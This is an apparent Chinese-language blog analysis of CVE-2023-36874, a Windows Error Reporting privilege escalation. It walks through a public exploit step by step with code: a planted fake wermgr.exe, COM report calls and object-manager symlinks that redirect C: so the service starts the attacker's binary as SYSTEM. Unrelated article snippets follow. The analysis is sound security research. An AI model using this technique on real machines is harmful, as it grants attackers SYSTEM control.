当前位置: 首页 > news >正文

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

漏洞简介

Windows错误报告服务在提交错误报告前会创建wermgr.exe进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以system权限执行代码。

影响版本

Windows10 1507 *
Windows10 1607 *
Windows10 1809 *
Windows10 21H2 *
Windows10 22H2 *
Windows11 21H2 *
Windows11 22H2 *
WindowsServer 2008 sp2 *
WindowsServer 2008 r2 sp1 * x64 *
WindowsServer2016 *
WindowsServer2019 *
WindowsServer2022 *

危害等级

7.8 ∣ H I G H \textcolor{Red}{7.8 | HIGH} 7.8∣HIGH

漏洞复现

首先在C盘下创建一个目录test\system32,然后将自己写的exe改名为wermgr.exe放进去,这里我是直接使用poc里面添加账户的exe改名为wermgr.exe。

运行EXP之前可以查看当前用户信息

在这里插入图片描述

运行EXP后

在这里插入图片描述

漏洞分析

【EXP】https://github.com/Wh04m1001/CVE-2023-36874

根据网上给出的POC,可以大致知道执行的流程:

  1. 创建目录C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport

    CreateDirectory(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport", NULL);
    
  2. 从资源中释放错误报告文件MyReport.wer。

    HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_REPORT1), L"Report");
    DWORD ReportSize = SizeofResource(hm, res);
    void* ReportBuff = LoadResource(hm, res);
    ...
    HANDLE hFile = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport\\Report.wer", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {printf("[-] Cannot create report.wer file.\n");return -1;
    }
    if (!WriteFile(hFile, ReportBuff, ReportSize, NULL, NULL))
    {printf("[-] Failed to write to report.wer file.\n");return -1;
    }
    
  3. 创建IErcLuaSupportUI接口对象,调用 I E r c L u a S u p p o r t : : G e t W e r S t o r e F a c t o r y ( ) \textcolor{orange}{IErcLuaSupport::GetWerStoreFactory()} IErcLuaSupport::GetWerStoreFactory()构造函数实例化IWerStoreFactory工厂对象。

    result = CoCreateInstance(__uuidof(CLSID_IErcLuaSupport), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IErcLuaSupport), (PVOID*)&pIErcLuaSupport);
    ...
    result = pIErcLuaSupport->Proc3(&pIWerStoreFactory);
    
  4. 调用 I W e r S t o r e F a c t o r y : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerStoreFactory::EnumerateStart()} IWerStoreFactory::EnumerateStart()得到IWerStore接口对象。

    result = pIWerStoreFactory->Proc4(&pIWerStore);
    
  5. 使用 I W e r C o m S t o r e : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerComStore::EnumerateStart()} IWerComStore::EnumerateStart()开始模拟错误报告。

    result = pIWerStore->Proc3();
    
  6. 调用 I W e r C o m S t o r e : : L o a d R e p o r t ( ) \textcolor{orange}{IWerComStore::LoadReport()} IWerComStore::LoadReport()加载C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport目录下的错误报告,并获得一个错误报告接口IWerReport的对象。

    BSTR report = SysAllocString(L"MyReport");
    BSTR data = SysAllocString(L"test");
    result = pIWerStore->Proc6(report, &pIWerReport);
    
  7. C:\Windows目录创建一个符号链接,指向一个目录C:\test

    pRtlInitUnicodeString(&object, L"\\??\\test");
    InitializeObjectAttributes(&objAttrDir, &object, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateDirectoryObject(&hObjectdir, 0xF000F, &objAttrDir);pRtlInitUnicodeString(&symlink_name, L"Windows");
    pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\test");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkWindows, 0xF0001, &objAttrLink, &path);
    
  8. ProgramData目录创建一个符号链接,指向目录C:\ProgramData

    pRtlInitUnicodeString(&symlink_name, L"ProgramData");
    pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\Programdata");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkProgramdata, 0xF0001, &objAttrLink, &path);
    
  9. C:\目录创建一个符号链接,指向C:\test目录

    pRtlInitUnicodeString(&symlink_name, L"\\??\\C:");
    pRtlInitUnicodeString(&path, L"\\??\\test");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateSymbolicLinkObject(&hSymlink, 0xF0001, &objAttrLink, &path);
    
  10. 调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport(),重点来了。该接口内部会调用 w e r ! W e r p S u b m i t R e p o r t F r o m S t o r e \textcolor{orange}{wer!WerpSubmitReportFromStore} wer!WerpSubmitReportFromStore提交错误报告,然后经历 C R e p o r t H a n d l e I n s t a n c e : : S u b m i t R e p o r t = > C R e p o r t M a n a g e r : : R e p o r t P r o b l e m = > C R e p o r t M a n a g e r : : R e p o r t P r o b l e m O u t O f P r o c e s s = > U t i l L a u n c h W e r M a n a g e r \textcolor{orange}{CReportHandleInstance::SubmitReport\ =>\ CReportManager::ReportProblem\ =>\ CReportManager::ReportProblemOutOfProcess\ =>\ UtilLaunchWerManager } CReportHandleInstance::SubmitReport => CReportManager::ReportProblem => CReportManager::ReportProblemOutOfProcess => UtilLaunchWerManager到达利用点。

    __int64 __fastcall UtilLaunchWerManager(const unsigned __int16 **a1,__int64 a2,__int64 a3,void *a4,void **a5,void **a6,unsigned int a7,void **a8)
    {if ( GetSystemDirectoryW(Buffer, 0x104u) - 1 > 0x102 ) // 取 C:\Windows\System32 目录{LastError = GetLastError();v27 = ERROR_HR_FROM_WIN32(LastError);v12 = v27;v28 = WPP_GLOBAL_Control;if ( WPP_GLOBAL_Control == (HKEY)&WPP_GLOBAL_Control || ((_BYTE)WPP_GLOBAL_Control[7] & 1) == 0 )goto LABEL_38;v29 = 0x12i64;goto LABEL_67;}v11 = StringCchCatW(Buffer, 0x104ui64, L"\\wermgr.exe"); // 拼接成 C:\Windows\System32\wermgr.exev12 = v11;if ( v11 >= 0 ){...if ( !InitializeProcThreadAttributeList(0i64, 1u, 0, &Size) ){...}ProcessHeap = GetProcessHeap();ThreadAttributeHeap = (struct _PROC_THREAD_ATTRIBUTE_LIST *)HeapAlloc(ProcessHeap, 0, Size);v10 = ThreadAttributeHeap;if ( !ThreadAttributeHeap ){...goto LABEL_37;}if ( !InitializeProcThreadAttributeList(ThreadAttributeHeap, 1u, 0, &Size) ){...goto LABEL_53;}v9 = 1;if ( UpdateProcThreadAttribute(v10, 0, 0x20002ui64, lpValue, 8i64 * a7, 0i64, 0i64) ){StartupInfo.cb = 0x70;v45 = v10;// 创建进程,路径为 C:\windows\system32\wermgr.exeif ( CreateProcessW(Buffer, v14, 0i64, 0i64, 2, 0x80000u, 0i64, 0i64, &StartupInfo, &lpProcessInformation) ){v12 = 0;}...}}
    }
    

    注意 C r e a t e P r o c e s s W \textcolor{cornflowerblue}{CreateProcessW} CreateProcessW函数的bInheritHandles参数大于0,表明新进程会继承父进程的句柄,也就是说子进程和父进程的句柄值是一样的。同时表明父进程句柄的所有权限,子进程同样也有。而错误报告服务运行系统服务中,对应进程名svchost.exe,权限是system。假如能够通过某种方式欺骗服务创建攻击者指定的进程,那自然就可以提权了。

    漏洞利用

    显然从公开的POC中可以看到,利用的方式是在C盘创建一个test目录,在test里又创建一个system32目录,然后把伪造的wermgr.exe放进去。在调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport()前,给windows目录创建一个符号链接指向test,这样就可以在系统服务创建C:\Windows\system32\wermgr.exe进程的时候欺骗系统创建C:\test\system32\wermgr.exe进程,从而以system权限执行任意代码。

相关文章:

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析 漏洞简介 Windows错误报告服务在提交错误报告前会创建wermgr.exe进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以system权限执行代码。 影响版本 Windows10 1507 * Wind…...

IDEA遇到 git pull 冲突的几种解决方法

1 忽略本地修改,强制拉取远程到本地 主要是项目中的文档目录,看的时候可能多了些标注,现在远程文档更新,本地的版本已无用,可以强拉 git fetch --all git reset --hard origin/dev git pull关于commit和pull的先后顺…...

[Unity]UI和美术出图效果不一致

问题描述:美术使用PS在Gamma空间下设计的UI图,导入到Unity,因为Unity使用的是线性空间,导致半透明的UI效果和美术设计的不一致。 解决方案: (一)让美术在线性空间下工作 (二&…...

SpringBoot整合JPA和Hibernate框架

Springboot整合JPAHibernate框架【待完成】 随着MybatisPlus技术的发展&#xff0c;JPA和Hibernate技术已经逐步淘汰 JPA遵循了Hibernate框架规则&#xff0c;目前使用的不多 1、添加依赖 <!--jpa--> <dependency><groupId>org.springframework.boot</…...

Java中文件的创建(三种方式),文件常用的方法

文件的创建 方式1&#xff1a; new File(String pathName) 根据路径构建一个File对象方式2&#xff1a; new File(File parent,String child) 根据父目录文件子路径构建方式3&#xff1a; new File(String parent,String child) 根据父目录子路径构建 代码&#xff1a; //方…...

Spring boot中调用C/C++(dll)

添加JNA依赖 <dependency><groupId>net.java.dev.jna</groupId><artifactId>jna</artifactId><version>5.5.0</version> </dependency>准备C代码/C代码 如下是C代码&#xff0c;文件名&#xff1a;xizi.c #include <std…...

【Apollo学习笔记】——规划模块TASK之PATH_DECIDER

文章目录 前言PATH_DECIDER功能简介PATH_DECIDER相关配置PATH_DECIDER总体流程路径决策代码流程及框架MakeStaticObstacleDecision PATH_DECIDER相关子函数参考 前言 在Apollo星火计划学习笔记——Apollo路径规划算法原理与实践与【Apollo学习笔记】——Planning模块讲到……S…...

Lua学习(二)

Lua基础学习 7. lua函数8. lua运算符8.1 算数运算符8.2 关系运算符8.3 逻辑运算符8.4 其他运算符 9. lua字符串9.1 字符串格式化9.2 匹配模式 10. lua数组11. lua迭代器11.1 Lua table 12. lua 模块12.1 加载机制12.2 C 包 接着上一篇的内容。Lua学习&#xff08;一&#xff09…...

制作鲜花商城小程序的详细步骤

如果你是一个新手商家&#xff0c;想要进入鲜花团购市场&#xff0c;但是不知道如何制作一个小程序商城&#xff0c;那么这篇文章就是为你准备的。以下是制作鲜花团购小程序商城的详细步骤&#xff1a; 1. 登录乔拓云平台后台&#xff0c;进入商城管理页面 首先&#xff0c;你需…...

Ubuntu20以上高版本如何安装低版本GCC

安装了Ubuntu 20.04之后&#xff0c;通过命令行 sudo apt-get install build-essential安装gcc&#xff0c;再通过命令行 gcc -v可查看gcc版本为gcc13 如果想用低版本的gcc&#xff0c;比如gcc4.8&#xff0c;尝试输入命令 sudo apt-get install gcc-4.8会提示找不到gcc4.8的…...

context.WithCancel()的使用

“ WithCancel可以将一个Context包装为cancelCtx,并提供一个取消函数,调用这个取消函数,可以Cancel对应的Context Go语言context包-cancelCtx[1] 疑问 context.WithCancel()取消机制的理解[2] 父母5s钟后出门&#xff0c;倒计时&#xff0c;父母在时要学习&#xff0c;父母一走…...

vue3中引入百度地图

话不多说直接开干 1.第一种方式 百度地图地址 打开 https://lbsyun.baidu.com/index.php?title%E9%A6%96%E9%A1%B5 然后点进去地图 然后再这个功能里面选择一个地图&#xff0c;然后跳转页面 然后一直下滑 滑到底部 点击这个 跳转到这个页面 然后点击进入demo这个 然后到这个…...

【Linux-Day8- 进程替换和信号】

进程替换和信号 问题引入 我们发现 终端输入的任意命令的父进程都是bash,这是因为Linux系统是用fork()复制出子进程&#xff0c;然后在子进程中调用替换函数进行进程替换&#xff0c;实现相关命令。 &#xff08;1&#xff09; exec 系列替换过程&#xff1a;pcb 使用以前的只…...

日志文件之间关系和介绍及应用

1.常用日志框架代码举例 Log4j: Log4j是Java中广泛使用的日志框架之一。它提供了灵活的配置选项和丰富的功能&#xff0c;支持日志级别、日志输出目标等。Log4j有1.x版本和2.x版本&#xff0c;其中Log4j 2.x是对1.x的升级和扩展。 Logback: Logback是由Log4j创始人设计的Log4…...

mac电脑屏幕录制Berrycast Mac屏幕录制软件

Berrycast是一款为Mac设计的优秀屏幕录制软件&#xff0c;它让屏幕录制变得简单而高效。以下是Berrycast的一些主要特点&#xff1a; 简单的用户界面&#xff1a;Berrycast拥有直观和简洁的用户界面&#xff0c;使得用户可以轻松上手。高质量的视频输出&#xff1a;Berrycast能…...

机器学习笔记之最优化理论与方法(一)最优化问题概述

机器学习笔记之最优化理论与方法——最优化问题概述 引言什么是最优化问题最优化问题的基本形式最优化问题的分类各分类最优化问题的数学表达约束优化VS无约束优化线性规划VS非线性规划连续优化VS离散优化单目标优化VS多目标优化 引言 从本节开始&#xff0c;将对最优化理论与…...

【ES5新特性一】 严格模式语法变化、全局的JSON对象、编码和解码的方法

前言 ECMAScript 和 JavaScript 的关系 一个常见的问题是&#xff0c;ECMAScript 和 JavaScript 到底是什么关系&#xff1f; 要讲清楚这个问题&#xff0c;需要回顾历史。1996 年 11 月&#xff0c;JavaScript 的创造者 Netscape 公司&#xff0c;决定将 JavaScript 提交给标准…...

Java【手撕滑动窗口】LeetCode 3. “无重复字符的最长子串“, 图文详解思路分析 + 代码

文章目录 前言一、长度最小子数组1, 题目2, 思路分析3, 代码 前言 各位读者好, 我是小陈, 这是我的个人主页, 希望我的专栏能够帮助到你: &#x1f4d5; JavaSE基础: 基础语法, 类和对象, 封装继承多态, 接口, 综合小练习图书管理系统等 &#x1f4d7; Java数据结构: 顺序表, 链…...

学习哈哈哈哈

# 零、学习计划 * 数据库相关 * 索引 * [我以为我对数据库索引很了解&#xff0c;直到我遇到了阿里面试官 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/107487215) * [给我一分钟&#xff0c;让你彻底明白MySQL聚簇索引和非聚簇索引 - 知乎 (zhihu.com)](ht…...

05-基础例程5

基础例程5 1、超声波测距 实验介绍 ​ HC-SR04超声波传感器是一款测量距离的传感器。其原理是利用声波在遇到障碍物反射接收结合声波在空气中传播的速度计算的得出。 外观 管脚功能的定义 VCC&#xff1a;供电电源&#xff1b;Trig&#xff1a;触发信号&#xff1b;Echo&a…...

Vue记事本应用实现教程

文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展&#xff1a;显示创建时间8. 功能扩展&#xff1a;记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...

MySQL 隔离级别:脏读、幻读及不可重复读的原理与示例

一、MySQL 隔离级别 MySQL 提供了四种隔离级别,用于控制事务之间的并发访问以及数据的可见性,不同隔离级别对脏读、幻读、不可重复读这几种并发数据问题有着不同的处理方式,具体如下: 隔离级别脏读不可重复读幻读性能特点及锁机制读未提交(READ UNCOMMITTED)允许出现允许…...

Go 语言接口详解

Go 语言接口详解 核心概念 接口定义 在 Go 语言中&#xff0c;接口是一种抽象类型&#xff0c;它定义了一组方法的集合&#xff1a; // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的&#xff1a; // 矩形结构体…...

什么是库存周转?如何用进销存系统提高库存周转率?

你可能听说过这样一句话&#xff1a; “利润不是赚出来的&#xff0c;是管出来的。” 尤其是在制造业、批发零售、电商这类“货堆成山”的行业&#xff0c;很多企业看着销售不错&#xff0c;账上却没钱、利润也不见了&#xff0c;一翻库存才发现&#xff1a; 一堆卖不动的旧货…...

【单片机期末】单片机系统设计

主要内容&#xff1a;系统状态机&#xff0c;系统时基&#xff0c;系统需求分析&#xff0c;系统构建&#xff0c;系统状态流图 一、题目要求 二、绘制系统状态流图 题目&#xff1a;根据上述描述绘制系统状态流图&#xff0c;注明状态转移条件及方向。 三、利用定时器产生时…...

Fabric V2.5 通用溯源系统——增加图片上传与下载功能

fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...

【Linux系统】Linux环境变量:系统配置的隐形指挥官

。# Linux系列 文章目录 前言一、环境变量的概念二、常见的环境变量三、环境变量特点及其相关指令3.1 环境变量的全局性3.2、环境变量的生命周期 四、环境变量的组织方式五、C语言对环境变量的操作5.1 设置环境变量&#xff1a;setenv5.2 删除环境变量:unsetenv5.3 遍历所有环境…...

【UE5 C++】通过文件对话框获取选择文件的路径

目录 效果 步骤 源码 效果 步骤 1. 在“xxx.Build.cs”中添加需要使用的模块 &#xff0c;这里主要使用“DesktopPlatform”模块 2. 添加后闭UE编辑器&#xff0c;右键点击 .uproject 文件&#xff0c;选择 "Generate Visual Studio project files"&#xff0c;重…...

Kubernetes 节点自动伸缩(Cluster Autoscaler)原理与实践

在 Kubernetes 集群中&#xff0c;如何在保障应用高可用的同时有效地管理资源&#xff0c;一直是运维人员和开发者关注的重点。随着微服务架构的普及&#xff0c;集群内各个服务的负载波动日趋明显&#xff0c;传统的手动扩缩容方式已无法满足实时性和弹性需求。 Cluster Auto…...

游戏开发中常见的战斗数值英文缩写对照表

游戏开发中常见的战斗数值英文缩写对照表 基础属性&#xff08;Basic Attributes&#xff09; 缩写英文全称中文释义常见使用场景HPHit Points / Health Points生命值角色生存状态MPMana Points / Magic Points魔法值技能释放资源SPStamina Points体力值动作消耗资源APAction…...